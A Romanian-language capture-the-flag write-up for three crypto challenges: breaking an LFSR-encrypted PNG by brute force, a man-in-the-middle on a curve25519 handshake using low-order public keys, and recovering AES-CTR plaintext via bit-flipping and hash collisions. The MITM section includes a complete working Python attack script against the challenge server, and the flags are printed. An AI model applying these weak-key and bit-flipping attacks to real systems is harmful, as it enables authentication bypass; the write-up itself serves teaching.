Primim o arhiva parolata flag.zip care contine flag.png si codul care a generat arhiva. Fisierul flag.png este criptat folosind un algoritm bazat pe opt LSFR-uri de 20 de biti. Algoritmul genereaza aleator doua stringuri de 20 de octeti (160 de biti) key_iv si cipher_iv care sunt incluse in arhiva. Fiecare 20 de biti din key_iv, cipher_iv si parola arhivei (key) corespund unuia din cele 8 LSFR-uri (20 * 8 = 160). cipher_iv reprezinta starea initiala a LSFR-ului si key_iv ^ key reprezinta polinomialul care determina modul in care evolueaza LSFR-ul. La fiecare pas, un LSFR va produce cel mai important bit (MSB, bitul de la 219) ca output, toata valoarea este shiftata cu un octet catre stanga si polinomialul va determina noul cel mai putin important bit (LSB, bitul de la 20). Cei 8 biti produsi de cele 8 LSFR-uri sunt combinati intr-un octet care este XOR-uit cu plaintextul pentru a genera ciphertextul.
Pentru ca primii 20 de biti care ies dintr-un LSFR sunt determinati doar de cipher_iv, pe care il cunoastem, inseamna ca putem decripta primii 20 de octeti din flag.png:

Pentru restul fisierului avem insa nevoie de key. Dar 20 de biti nu inseamna foarte mult, cam un milion de valori, lejer in marja de brute-force chiar daca sunt 8. Brute-force-ul unui LSFR presupune generarea a 20 de biti (pentru a avea starea completa) cu fiecare polinomial intre 0x00000 si 0xFFFFF si testarea cu cei 20 de biti din plaintext care corespund LSFR-ului (fiecare LSFR este responsabil pentru un singur bit din fiecare octet criptat).
Problema este ca nu cunoastem decat primii 20 de octeti din plaintext si pentru brute-force avem nevoie de urmatorii 20 dar pentru ca fisierul este PNG trebuie sa respecte o anumita structura si deci putem sa reducem masiv numarul pe posibilitati pentru cei 20 de octeti. Specificatiile formatului PNG au fost de mare ajutor.
Din primii 20 de octeti cunoscuti aflam ca primul chunk din fisier este "IHDR" care are lungimea de 13 octeti (0x0D) si latimea imaginii este 640 de pixeli (0x0280).
Urmatorii 4 octeti reprezinta inaltimea imaginii dar primii doi din ei sunt probabil 0 pentru ca sunt slabe sanse ca imaginea sa aiba mai mult de 65535 de pixeli inaltime.
Urmeaza apoi un octet pentru bit depth care poate fi 1, 2, 4, 8 sau 16.
Urmeaza un octet pentru color type care poate fi 0, 2, 3, 4 sau 6.
Urmatorii trei octeti sunt compression method, filter method si interlace method dar acestia au fost mereu 0 in toate fisierele PNG pe care le-am incercat.
Urmatorii patru octeti sunt CRC-ul chunkului si trebuie calculati.
Mai raman sapte octeti necunoscuti care trebuie sa fie dimensiunea si tipul chunk-ului urmator. Aveam in plan sa testez cele vreo 20 de tipuri de chunk-uri cu mai multe dimensiuni dar pentru ca era cea mai comuna am incercat intai cu chunk-ul sRGB cu dimensiunea 1.
Cei 20 de octeti din plaintext necesari pentru brute-force arata deci cam asa: Raman doar 4 octeti necunoscuti cu vreo 20000 de posibilitati (5 pentru bit depth * 5 pentru color type * 800 pentru inaltime).
Arhiva zip contine si un hash SHA256 al flag.png deci in procesul de brute-force am putut sa-l folosesc pentru a verifica daca am gasit cele opt polinomiale corecte.
Algoritmul de brute-force este urmatorul:
pentru fiecare height intre 0 si 800 pentru fiecare bit_depth in (1, 2, 4, 8, 16) pentru fiecare color_type in (0, 2, 3, 4, 6) genereaza 20 de octeti din plaintext cu cele trei variabile si calculeaza CRC-ul pentru chunk-ul IHDR pentru fiecare din cele 8 LSFR-uri extrage cei 20 de biti din plaintext aferenti LSFR-ului testeaza toate polimomialele si obtine candidate care decripteaza corect cei 20 de biti (pot fi mai multe pentru fiecare LSFR) pentru ficare combinatie de candiate de polinomiale ale fiecarui LSFR decripteaza fisierul verificand daca hash-ul e corect
Dupa ce a rulat un timp am gasit combinatia care a decriptat corect fisierul (height = 360, bit_depth = 8 si color_type = 2) si am extras flagul:

MITM
Avem un script Python care poate functiona fie in modul server fie in modul client. O instanta care ruleaza ca server poate comunica cu una care ruleaza ca si client, vor folosi curve25519 pentru ca obtine un secret comun si apoi se vor autentifica una fata de cealalta generand un proof bazat pe secretul comun si o parola interna. Odata autentificat, un client poate trimite comenzi catre server. Una dintre comenzi este "getflag" deci este clar ca pentru a obtine flagul trebuie sa ne autentificam la server ca un client real si sa trimitem acea comanda. Procesul de autentificare este urmatorul:

Putem face destul de usor un MITM fiind client pentru server si server pentru client si vom obtine cate un shared_key cu clientul si serverul, problema este ca acest shared key este diferit intre client si server si vom esua la pasul urmator pentru ca server_proof'ul si client_proof'ul vor fi generate cu doua chei diferite si deci vor fi dferite.
Citind despre curve25519 am gasit un lucru foarte interesant:
There are some unusual non-Diffie-Hellman elliptic-curve protocols that need to ensure "contributory" behavior. In those protocols, you should reject the 32-byte strings that, in little-endian form, represent 0, 1, 325606250916557431795983626356110631294008115727848805560023387167927233504 (which has order 8), 39382357235489614581723060781553021112529911719440698176882885853963445705823 (which also has order 8), 2^255 - 19 - 1, 2^255 - 19, 2^255 - 19 + 1, 2^255 - 19 + 325606250916557431795983626356110631294008115727848805560023387167927233504, 2^255 - 19 + 39382357235489614581723060781553021112529911719440698176882885853963445705823, 2(2^255 - 19) - 1, 2(2^255 - 19), and 2(2^255 - 19) + 1
Aparent aceste chei publice au o proprietate speciala: vor genera acelasi shared_key indiferent de cheia privata cu care fac schimbul. Asta este exact ce avem nevoie, putem construi un MITM care sa stea intre client si server, sa foloseasca una din cheile publice slabe pentru a genera acelasi shared_key in comunicarea cu clientul si serverul si atunci server_proof va fi acelasi cu client_proof putand face autentificarea fara a sti parola secreta:
#!/usr/bin/env python3 from binascii import hexlify from binascii import unhexlify import socket import sys from curve25519 import Private, Public import nacl.secret def ReadLine(reader): data = b'' while not data.endswith(b'\n'): cur = reader.read(1) data += cur if cur == b'': return data return data[:-1] def WriteLine(writer, msg): writer.write(msg + b'\n') writer.flush() def WriteBin(writer, data): WriteLine(writer, hexlify(data)) def ReadBin(reader): return unhexlify(ReadLine(reader)) def main(): #badPublicKey = Public(unhexlify(b'5F9C95BCA3508C24B1D0B1559C83EF5B04445CC4581C8E86D8224EDDD09F1157')) badPublicKey = Public(unhexlify(b'E0EB7A7C3B41B8AE1656E3FAF19FC46ADA098DEB9C32B1FD866205165F49B800')) myPrivateKey = Private() #generate random private key sharedKey = myPrivateKey.get_shared_key(badPublicKey) #obtine aceslasi shared secret ca si serverul si clientul server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) #deschide conexiunea catre server server.connect(("mitm.ctfcompetition.com", 1337)) serverf = server.makefile("rwb") WriteLine(serverf, b'sS') #initializeaza conexiunea ca si server ReadBin(serverf) #citeste cheia publica a serverului client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) #deschide conexiunea catre client client.connect(("mitm.ctfcompetition.com", 1337)) clientf = client.makefile("rwb") WriteLine(clientf, b'cC') #initializeaza conexiunea ca si client ReadBin(clientf) #citeste cheia public a clientului WriteBin(serverf, badPublicKey.serialize()) #trimite cheia slaba catre server WriteBin(serverf, ReadBin(clientf)) #trimite nonce-ul clientului catre server WriteBin(clientf, badPublicKey.serialize()) #trimite cheia slaba catre client WriteBin(clientf, ReadBin(serverf)) #trimite nonce-ul serverului catre client WriteBin(serverf, ReadBin(clientf)) #trimite proof-ul clientului catre server WriteBin(clientf, ReadBin(serverf)) #trimite proof-ul serverului catre client mySecretBox = nacl.secret.SecretBox(sharedKey) print(mySecretBox.decrypt(ReadBin(serverf))) #AUTHENTICATED WriteBin(serverf, mySecretBox.encrypt(b"getflag")) print(mySecretBox.decrypt(ReadBin(serverf))) #CTF{kae3eebav8Ac7Mi0RKgh6eeLisuut9oP} if __name__ == '__main__': sys.exit(main())

DOGESTORE
Avem o aplicatie cu o parte din codul sursa scris in Rust si un text criptat. Din fericire nu trebuie sa sti Rust ca sa intelegi ce face aplicatia: citeste 112 octeti pe care ii decripteaza cu AES256 in modul CTR. Textul decriptat este interpretat ca perechi [letter, size] unde size + 1 va numarul de aparitii al letter (similar cu RLE). Textul serializat este extins si perechile [letter, size] sunt inlocuite cu letter de size + 1 ori. Rezultatului i se calculeaza hash-ul SHA-3 care este afisat.
Un exemplu de serializare este:

serializat: a0b0c2d1 deserializat: abcccd
Am observat un lucru care mi-a dat si ideea solutiei: pot exista mai multe valori serializate care duc la acelasi text deserializat si deci la acelasi hash, daca o litera apare de doua ori succesiv, atunci atata timp cat size-ul total ramane acelasi, textul deserializat este identic. De exemplu:
serializat: a0a3b0 serializat: a1a2b0 serializat: a2a1b0 serializat: a3a0b0 deserializat: aaaaab
Modul de operare CTR functioneaza destul de simplu: cheia de criptare este folosita pentru a genera un bloc care este XOR-uit cu plaintextul pentru a obtine ciphertextul sau invers cu ciphertextul pentru a obtine plaintextul. Faptul ca plaintextul este XOR-uit direct cu blocul generat inseamna ca putem totusi modifica plaintextul fara a-l cunoaste. De exemplu daca schimbam un bit din ciphertext, acelasi bit se va schimba si in plaintext indiferent care este starea interna a algoritmului datorita modului in care functioneaza operatiunea XOR. Putem acum folosi modul in care textul este serializat si proprietatea modului XOR pentru a incerca sa ghicim starea interna a AES.
Indifierent de valoarea trimisa catre aplicatie aceasta va decriptata, deserializata si hash-ul va fi calculat si afisat. De exemplu pentru o valoare oarecare primele patru caractere dupa decriptare ar fi C1, S1, C2, S2 care dupa serializare vor produce un hash. Dar in cazul in care C1 = C2, vor exista mai multe hashuri identice atata timp cat S1 + S2 ramane aceeasi. Putem folosi proprietatea CTR pentru a modifica primul bit din S1 si S2 pentru a le face mai mari sau mai mici cu 1 (nu putem sti care) dar atunci cand C1 = C2 vor exista doua hash-uri identice pentru C1, S1 + 1, C2, S2 - 1 si C1, S1 - 1, C2, S2 + 1.
Putem incerca un brute-force incercand toate valorile posibile pentru C2 (de la 0x00 la 0xFF) si toate combinatiile de bit schimbat pentru S1 si S2 (00, 01, 10, 11), atunci cand gasim doua hashuri identice stim ca am gasit un C2 = C1. Daca repetam logica pentru toate perechile de cate doua caractere din cele 112 atunci vom avea doar 256 de valori posibile pentru C1-C56.
Dupa ce le-am afisat a fost evident care era cel corect:
HFHFHDHDHDSAaACTF{SADASDSDCTF{L_E_R_OY_JENKINS}ASDCTF{\n
Acum stim caracterele dar nu stim de cate ori se repeta fiecare dar pentru ca stim starea interna a AES putem construi un ciphertext care sa fie decriptat in ce plaintext dorim. Astfel putem inlocui orice caracter din plaintext cu orice alt caracter si plecand de la un size cunoscut le putem afla pe celalalte. Daca prespunem ca size-ul pentru "C" (din CTF) este 0 atunci putem gasi size-ul pentru "L": putem genera orice S1 si orice C1 si C2 astfel incat C1 = C2, facand presupuneri succesive pentru S2 putem obtine doua hashuri pentru C1, S1 + 1, C2, S2 - 1 si C1, S1 - 1, C2, S2 + 1, iar atunci cand sunt egale stim ca presupunerea pentru S2 a fost corecta.
Repetand algoritmul in continuare obtine size-urile pentru fiecare caracter din flag:
C0 T0 F0 {0 L8 _2 E4 _3 R10 _0 O0 Y0 _0 J0 E6 N0 K2 I0 N1 S2 }0
Adica:
CTF{LLLLLLLLL___EEEEE____RRRRRRRRRRR_OYYYYYYYYYY_JEEEEEEENKKKINNSSS}